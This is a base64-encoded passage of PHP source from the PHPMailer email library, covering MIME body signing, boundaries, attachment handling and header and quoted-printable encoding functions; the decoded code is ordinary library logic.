JHRoaXMtPkVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5BdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgIGJyZWFrOwogICAgICBkZWZhdWx0OgogICAgICAgIC8vIGNhdGNoIGNhc2UgJ3BsYWluJyBhbmQgY2FzZSAnJwogICAgICAgICRib2R5IC49ICR0aGlzLT5FbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgYnJlYWs7CiAgICB9CgogICAgaWYgKCR0aGlzLT5Jc0Vycm9yKCkpIHsKICAgICAgJGJvZHkgPSAnJzsKICAgIH0gZWxzZWlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICB0cnkgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3NpZ25pbmcnKS4nIE9wZW5TU0wgZXh0ZW5zaW9uIG1pc3NpbmcuJyk7CiAgICAgICAgfQogICAgICAgICRmaWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICdtYWlsJyk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KTsgLy9UT0RPIGNoZWNrIHRoaXMgd29ya2VkCiAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgaWYgKEBvcGVuc3NsX3BrY3M3X3NpZ24oJGZpbGUsICRzaWduZWQsICdmaWxlOi8vJy5yZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLCBhcnJheSgnZmlsZTovLycucmVhbHBhdGgoJHRoaXMtPnNpZ25fa2V5X2ZpbGUpLCAkdGhpcy0+c2lnbl9rZXlfcGFzcyksIG51bGwpKSB7CiAgICAgICAgICBAdW5saW5rKCRmaWxlKTsKICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICBAdW5saW5rKCRzaWduZWQpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICBAdW5saW5rKCRmaWxlKTsKICAgICAgICAgIEB1bmxpbmsoJHNpZ25lZCk7CiAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdzaWduaW5nJykub3BlbnNzbF9lcnJvcl9zdHJpbmcoKSk7CiAgICAgICAgfQogICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGUpIHsKICAgICAgICAkYm9keSA9ICcnOwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgdGhyb3cgJGU7CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgICByZXR1cm4gJGJvZHk7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gR2V0Qm91bmRhcnkoJGJvdW5kYXJ5LCAkY2hhclNldCwgJGNvbnRlbnRUeXBlLCAkZW5jb2RpbmcpIHsKICAgICRyZXN1bHQgPSAnJzsKICAgIGlmKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICB9CiAgICBpZigkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgfQogICAgaWYoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgIH0KICAgICRyZXN1bHQgLj0gJHRoaXMtPlRleHRMaW5lKCctLScgLiAkYm91bmRhcnkpOwogICAgJHJlc3VsdCAuPSBzcHJpbnRmKCJDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzIiwgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CgogICAgcmV0dXJuICRyZXN1bHQ7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gRW5kQm91bmRhcnkoJGJvdW5kYXJ5KSB7CiAgICByZXR1cm4gJHRoaXMtPkxFIC4gJy0tJyAuICRib3VuZGFyeSAuICctLScgLiAkdGhpcy0+TEU7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gU2V0TWVzc2FnZVR5cGUoKSB7CiAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gYXJyYXkoKTsKICAgIGlmKCR0aGlzLT5BbHRlcm5hdGl2ZUV4aXN0cygpKSAkdGhpcy0+bWVzc2FnZV90eXBlW10gPSAiYWx0IjsKICAgIGlmKCR0aGlzLT5JbmxpbmVJbWFnZUV4aXN0cygpKSAkdGhpcy0+bWVzc2FnZV90eXBlW10gPSAiaW5saW5lIjsKICAgIGlmKCR0aGlzLT5BdHRhY2htZW50RXhpc3RzKCkpICR0aGlzLT5tZXNzYWdlX3R5cGVbXSA9ICJhdHRhY2giOwogICAgJHRoaXMtPm1lc3NhZ2VfdHlwZSA9IGltcGxvZGUoIl8iLCAkdGhpcy0+bWVzc2FnZV90eXBlKTsKICAgIGlmKCR0aGlzLT5tZXNzYWdlX3R5cGUgPT0gIiIpICR0aGlzLT5tZXNzYWdlX3R5cGUgPSAicGxhaW4iOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkgewogICAgcmV0dXJuICRuYW1lIC4gJzogJyAuICR2YWx1ZSAuICR0aGlzLT5MRTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBUZXh0TGluZSgkdmFsdWUpIHsKICAgIHJldHVybiAkdmFsdWUgLiAkdGhpcy0+TEU7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkQXR0YWNobWVudCgkcGF0aCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycpIHsKICAgIHRyeSB7CiAgICAgIGlmICggIUBpc19maWxlKCRwYXRoKSApIHsKICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdmaWxlX2FjY2VzcycpIC4gJHBhdGgsIHNlbGY6OlNUT1BfQ09OVElOVUUpOwogICAgICB9CgogICAgICAvL0lmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkcGF0aCk7CiAgICAgIH0KCiAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgaWYgKCAkbmFtZSA9PSAnJyApIHsKICAgICAgICAkbmFtZSA9ICRmaWxlbmFtZTsKICAgICAgfQoKICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgMiA9PiAkbmFtZSwKICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgIDUgPT4gZmFsc2UsICAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICA2ID0+ICdhdHRhY2htZW50JywKICAgICAgICA3ID0+IDAKICAgICAgKTsKCiAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGUpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCRlLT5nZXRNZXNzYWdlKCkpOwogICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICB0aHJvdyAkZTsKICAgICAgfQogICAgICBpZiAoJHRoaXMtPlNNVFBEZWJ1ZykgewogICAgICAgICR0aGlzLT5lZGVidWcoJGUtPmdldE1lc3NhZ2UoKS4iXG4iKTsKICAgICAgfQogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBHZXRBdHRhY2htZW50cygpIHsKICAgIHJldHVybiAkdGhpcy0+YXR0YWNobWVudDsKICB9CgogIHByb3RlY3RlZCBmdW5jdGlvbiBBdHRhY2hBbGwoJGRpc3Bvc2l0aW9uX3R5cGUsICRib3VuZGFyeSkgewogICAgJG1pbWUgPSBhcnJheSgpOwogICAgJGNpZFVuaXEgPSBhcnJheSgpOwogICAgJGluY2wgPSBhcnJheSgpOwoKICAgIGZvcmVhY2ggKCR0aGlzLT5hdHRhY2htZW50IGFzICRhdHRhY2htZW50KSB7CiAgICAgIGlmKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgJHN0cmluZyA9ICcnOwogICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgJGJTdHJpbmcgPSAkYXR0YWNobWVudFs1XTsKICAgICAgICBpZiAoJGJTdHJpbmcpIHsKICAgICAgICAgICRzdHJpbmcgPSAkYXR0YWNobWVudFswXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgJHBhdGggPSAkYXR0YWNobWVudFswXTsKICAgICAgICB9CgogICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICBpZiAoaW5fYXJyYXkoJGluY2xoYXNoLCAkaW5jbCkpIHsgY29udGludWU7IH0KICAgICAgICAkaW5jbFtdICAgICAgPSAkaW5jbGhhc2g7CiAgICAgICAgJGZpbGVuYW1lICAgID0gJGF0dGFjaG1lbnRbMV07CiAgICAgICAgJG5hbWUgICAgICAgID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgJGVuY29kaW5nICAgID0gJGF0dGFjaG1lbnRbM107CiAgICAgICAgJHR5cGUgICAgICAgID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJGF0dGFjaG1lbnRbNl07CiAgICAgICAgJGNpZCAgICAgICAgID0gJGF0dGFjaG1lbnRbN107CiAgICAgICAgaWYgKCAkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgaXNzZXQoJGNpZFVuaXFbJGNpZF0pICkgeyBjb250aW51ZTsgfQogICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoIi0tJXMlcyIsICRib3VuZGFyeSwgJHRoaXMtPkxFKTsKICAgICAgICAkbWltZVtdID0gc3ByaW50ZigiQ29udGVudC1UeXBlOiAlczsgbmFtZT1cIiVzXCIlcyIsICR0eXBlLCAkdGhpcy0+RW5jb2RlSGVhZGVyKCR0aGlzLT5TZWN1cmVIZWFkZXIoJG5hbWUpKSwgJHRoaXMtPkxFKTsKICAgICAgICAkbWltZVtdID0gc3ByaW50ZigiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcyIsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKCiAgICAgICAgaWYoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigiQ29udGVudC1JRDogPCVzPiVzIiwgJGNpZCwgJHRoaXMtPkxFKTsKICAgICAgICB9CgogICAgICAgIGlmIChwcmVnX21hdGNoKCcvWyBcKFwpPD5ALDs6XFwiXC9cW1xdXD89XS8nLCAkbmFtZSkpIHsKICAgICAgICAgICRtaW1lW10gPSBzcHJpbnRmKCJDb250ZW50LURpc3Bvc2l0aW9uOiAlczsgZmlsZW5hbWU9XCIlc1wiJXMiLCAkZGlzcG9zaXRpb24sICR0aGlzLT5FbmNvZGVIZWFkZXIoJHRoaXMtPlNlY3VyZUhlYWRlcigkbmFtZSkpLCAkdGhpcy0+TEUuJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoIkNvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzIiwgJGRpc3Bvc2l0aW9uLCAkdGhpcy0+RW5jb2RlSGVhZGVyKCR0aGlzLT5TZWN1cmVIZWFkZXIoJG5hbWUpKSwgJHRoaXMtPkxFLiR0aGlzLT5MRSk7CiAgICAgICAgfQoKICAgICAgICBpZigkYlN0cmluZykgewogICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5FbmNvZGVTdHJpbmcoJHN0cmluZywgJGVuY29kaW5nKTsKICAgICAgICAgIGlmKCR0aGlzLT5Jc0Vycm9yKCkpIHsKICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgfQogICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+RW5jb2RlRmlsZSgkcGF0aCwgJGVuY29kaW5nKTsKICAgICAgICAgIGlmKCR0aGlzLT5Jc0Vycm9yKCkpIHsKICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgfQogICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgfQogICAgICB9CiAgICB9CgogICAgJG1pbWVbXSA9IHNwcmludGYoIi0tJXMtLSVzIiwgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwoKICAgIHJldHVybiBpbXBsb2RlKCIiLCAkbWltZSk7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gRW5jb2RlRmlsZSgkcGF0aCwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpIHsKICAgIHRyeSB7CiAgICAgIGlmICghaXNfcmVhZGFibGUoJHBhdGgpKSB7CiAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+TGFuZygnZmlsZV9vcGVuJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgIH0KICAgICAgJG1hZ2ljX3F1b3RlcyA9IGdldF9tYWdpY19xdW90ZXNfcnVudGltZSgpOwogICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTsKICAgICAgICB9CiAgICAgIH0KICAgICAgJGZpbGVfYnVmZmVyICA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsKICAgICAgJGZpbGVfYnVmZmVyICA9ICR0aGlzLT5FbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICB9CiAgICAgIH0KICAgICAgcmV0dXJuICRmaWxlX2J1ZmZlcjsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAkdGhpcy0+U2V0RXJyb3IoJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgIHJldHVybiAnJzsKICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBFbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpIHsKICAgICRlbmNvZGVkID0gJyc7CiAgICBzd2l0Y2goc3RydG9sb3dlcigkZW5jb2RpbmcpKSB7CiAgICAgIGNhc2UgJ2Jhc2U2NCc6CiAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnN2JpdCc6CiAgICAgIGNhc2UgJzhiaXQnOgogICAgICAgICRlbmNvZGVkID0gJHRoaXMtPkZpeEVPTCgkc3RyKTsKICAgICAgICAvL01ha2Ugc3VyZSBpdCBlbmRzIHdpdGggYSBsaW5lIGJyZWFrCiAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkKICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYmluYXJ5JzoKICAgICAgICAkZW5jb2RlZCA9ICRzdHI7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICRlbmNvZGVkID0gJHRoaXMtPkVuY29kZVFQKCRzdHIpOwogICAgICAgIGJyZWFrOwogICAgICBkZWZhdWx0OgogICAgICAgICR0aGlzLT5TZXRFcnJvcigkdGhpcy0+TGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJGVuY29kZWQ7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gRW5jb2RlSGVhZGVyKCRzdHIsICRwb3NpdGlvbiA9ICd0ZXh0JykgewogICAgJHggPSAwOwoKICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvW1wyMDAtXDM3N10vJywgJHN0cikpIHsKICAgICAgICAgICRlbmNvZGVkID0gYWRkY3NsYXNoZXMoJHN0ciwgIlwwLi5cMzdcMTc3XFxcIiIpOwogICAgICAgICAgaWYgKCgkc3RyID09ICRlbmNvZGVkKSAmJiAhcHJlZ19tYXRjaCgnL1teQS1aYS16MC05ISMkJSZcJyorXC89P15fYHt8fX4gLV0vJywgJHN0cikpIHsKICAgICAgICAgICAgcmV0dXJuICgkZW5jb2RlZCk7CiAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHggPSBwcmVnX21hdGNoX2FsbCgnL1teXDA0MFwwNDFcMDQzLVwxMzNcMTM1LVwxNzZdLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgJHggPSBwcmVnX21hdGNoX2FsbCgnL1soKSJdLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgY2FzZSAndGV4dCc6CiAgICAgIGRlZmF1bHQ6CiAgICAgICAgJHggKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICBicmVhazsKICAgIH0KCiAgICBpZiAoJHggPT0gMCkgeyAvL1RoZXJlIGFyZSBubyBjaGFycyB0aGF0IG5lZWQgZW5jb2RpbmcKICAgICAgcmV0dXJuICgkc3RyKTsKICAgIH0KCiAgICAkbWF4bGVuID0gNzUgLSA3IC0gc3RybGVuKCR0aGlzLT5DaGFyU2V0KTsKICAgIGlmICgkeCA+IHN0cmxlbigkc3RyKS8zKSB7IC8vTW9yZSB0aGFuIGEgdGhpcmQgb2YgdGhlIGNvbnRlbnQgd2lsbCBuZWVkIGVuY29kaW5nLCBzbyBCIGVuY29kaW5nIHdpbGwgYmUgbW9zdCBlZmZpY2llbnQKICAgICAgJGVuY29kaW5nID0gJ0InOwogICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9zdHJsZW4nKSAmJiAkdGhpcy0+SGFzTXVsdGlCeXRlcygkc3RyKSkgewogICAgICAgICRlbmNvZGVkID0gJHRoaXMtPkJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgfSBlbHNlIHsKICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoJHN0cik7CiAgICAgICAgJG1heGxlbiAtPSAkbWF4bGVuICUgNDsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgJGVuY29kaW5nID0gJ1EnOwogICAgICAkZW5jb2RlZCA9ICR0aGlzLT5FbmNvZGVRKCRzdHIsICRwb3NpdGlvbik7CiAgICAgICRlbmNvZGVkID0gJHRoaXMtPldyYXBUZXh0KCRlbmNvZGVkLCAkbWF4bGVuLCB0cnVlKTsKICAgICAgJGVuY29kZWQgPSBzdHJfcmVwbGFjZSgnPScuc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgfQoKICAgICRlbmNvZGVkID0gcHJlZ19yZXBsYWNlKCcvXiguKikkL20nLCAiID0/Ii4kdGhpcy0+Q2hhclNldC4iPyRlbmNvZGluZz9cXDE/PSIsICRlbmNvZGVkKTsKICAgICRlbmNvZGVkID0gdHJpbShzdHJfcmVwbGFjZSgiXG4iLCAkdGhpcy0+TEUsICRlbmNvZGVkKSk7CgogICAgcmV0dXJuICRlbmNvZGVkOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEhhc011bHRpQnl0ZXMoJHN0cikgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgIH0gZWxzZSB7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBCYXNlNjRFbmNvZGVXcmFwTUIoJHN0ciwgJGxmPW51bGwpIHsKICAgICRzdGFydCA9ICI9PyIuJHRoaXMtPkNoYXJTZXQuIj9CPyI7CiAgICAkZW5kID0gIj89IjsKICAgICRlbmNvZGVkID0gIiI7CiAgICBpZiAoJGxmID09PSBudWxsKSB7CiAgICAgICRsZiA9ICR0aGlzLT5MRTsKICAgIH0KCiAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgJHJhdGlvID0gJG1iX2xlbmd0aCAvIHN0cmxlbigkc3RyKTsKICAgICRvZmZzZXQgPSAkYXZnTGVuZ3RoID0gZmxvb3IoJGxlbmd0aCAqICRyYXRpbyAqIC43NSk7CgogICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAkbG9va0JhY2sgPSAwOwoKICAgICAgZG8gewogICAgICAgICRvZmZzZXQgPSAkYXZnTGVuZ3RoIC0gJGxvb2tCYWNrOwogICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICRjaHVuayA9IGJhc2U2NF9lbmNvZGUoJGNodW5rKTsKICAgICAgICAkbG9va0JhY2srKzsKICAgICAgfQogICAgICB3aGlsZSAoc3RybGVuKCRjaHVuaykgPiAkbGVuZ3RoKTsKCiAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsZjsKICAgIH0KCiAgICAkZW5jb2RlZCA9IHN1YnN0cigkZW5jb2RlZCwgMCwgLXN0cmxlbigkbGYpKTsKICAgIHJldHVybiAkZW5jb2RlZDsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBFbmNvZGVRUCgkc3RyaW5nLCAkbGluZV9tYXggPSA3NikgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncXVvdGVkX3ByaW50YWJsZV9lbmNvZGUnKSkgewogICAgICByZXR1cm4gcXVvdGVkX3ByaW50YWJsZV9lbmNvZGUoJHN0cmluZyk7CiAgICB9CiAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoYXJyYXkoJyUyMCcsICclMEQlMEEuJywgJyUwRCUwQScsICclJyksIGFycmF5KCcgJywgIlxyXG49MkUiLCAiXHJcbiIsICc9JyksIHJhd3VybGVuY29kZSgkc3RyaW5nKSk7CiAgICAkc3RyaW5nID0gcHJlZ19yZXBsYWNlKCcvW15cclxuXXsnLigkbGluZV9tYXggLSAzKS4nfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICByZXR1cm4gJHN0cmluZzsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBFbmNvZGVRUHBocCgkc3RyaW5nLCAkbGluZV9tYXggPSA3NiwgJHNwYWNlX2NvbnYgPSBmYWxzZSkgewogICAgcmV0dXJuICR0aGlzLT5FbmNvZGVRUCgkc3RyaW5nLCAkbGluZV9tYXgpOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEVuY29kZVEoJHN0ciwgJHBvc2l0aW9uID0gJ3RleHQnKSB7CiAgICAkcGF0dGVybiA9ICcnOwogICAgJGVuY29kZWQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iKSwgJycsICRzdHIpOwogICAgc3dpdGNoIChzdHJ0b2xvd2VyKCRwb3NpdGlvbikpIHsKICAgICAgY2FzZSAncGhyYXNlJzoKICAgICAgICAkcGF0dGVybiA9ICdeQS1aYS16MC05ISorXC8gLSc7CiAgICAgICAgYnJlYWs7CgogICAgICBjYXNlICdjb21tZW50JzoKICAgICAgICAkcGF0dGVybiA9ICdcKFwpIic7CgogICAgICBjYXNlICd0ZXh0JzoKICAgICAgZGVmYXVsdDoKICAgICAgICAkcGF0dGVybiA9ICdcMDc1XDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc3XDEzN1wxNzctXDM3NycgLiAkcGF0dGVybjsKICAgICAgICBicmVhazsKICAgIH0KCiAgICBpZiAocHJlZ19tYXRjaF9hbGwoIi9beyRwYXR0ZXJufV0vIiwgJGVuY29kZWQsICRtYXRjaGVzKSkgewogICAgICBmb3JlYWNoIChhcnJheV91bmlxdWUoJG1hdGNoZXNbMF0pIGFzICRjaGFyKSB7CiAgICAgICAgJGVuY29kZWQgPSBzdHJfcmVwbGFjZSgkY2hhciwgJz0nIC4gc3ByaW50ZignJTAyWCcsIG9yZCgkY2hhcikpLCAkZW5jb2RlZCk7CiAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gc3RyX3JlcGxhY2UoJyAnLCAnXycsICRlbmNvZGVkKTsKfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkU3RyaW5nQXR0YWNobWVudCgkc3RyaW5nLCAkZmlsZW5hbWUsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnKSB7CiAgICBpZiAoJHR5cGUgPT0gJycpIHsKICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkZmlsZW5hbWUpOwogICAgfQogICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAwID0+ICRzdHJpbmcsCiAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAyID0+IGJhc2VuYW1lKCRmaWxlbmFtZSksCiAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICA0ID0+ICR0eXBlLAogICAgICA1ID0+IHRydWUsICAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgNiA9PiAnYXR0YWNobWVudCcsCiAgICAgIDcgPT4gMAogICAgKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBZGRFbWJlZGRlZEltYWdlKCRwYXRoLCAkY2lkLCAkbmFtZSA9ICcnLCAkZW5jb2RpbmcgPSAnYmFzZTY0JywgJHR5cGUgPSAnJykgewogICAgaWYgKCAhQGlzX2ZpbGUoJHBhdGgpICkgewogICAgICAkdGhpcy0+U2V0RXJyb3IoJHRoaXMtPkxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCk7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBpZiAoJHR5cGUgPT0gJycpIHsKICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkcGF0aCk7CiAgICB9CgogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgaWYgKCAkbmFtZSA9PSAnJy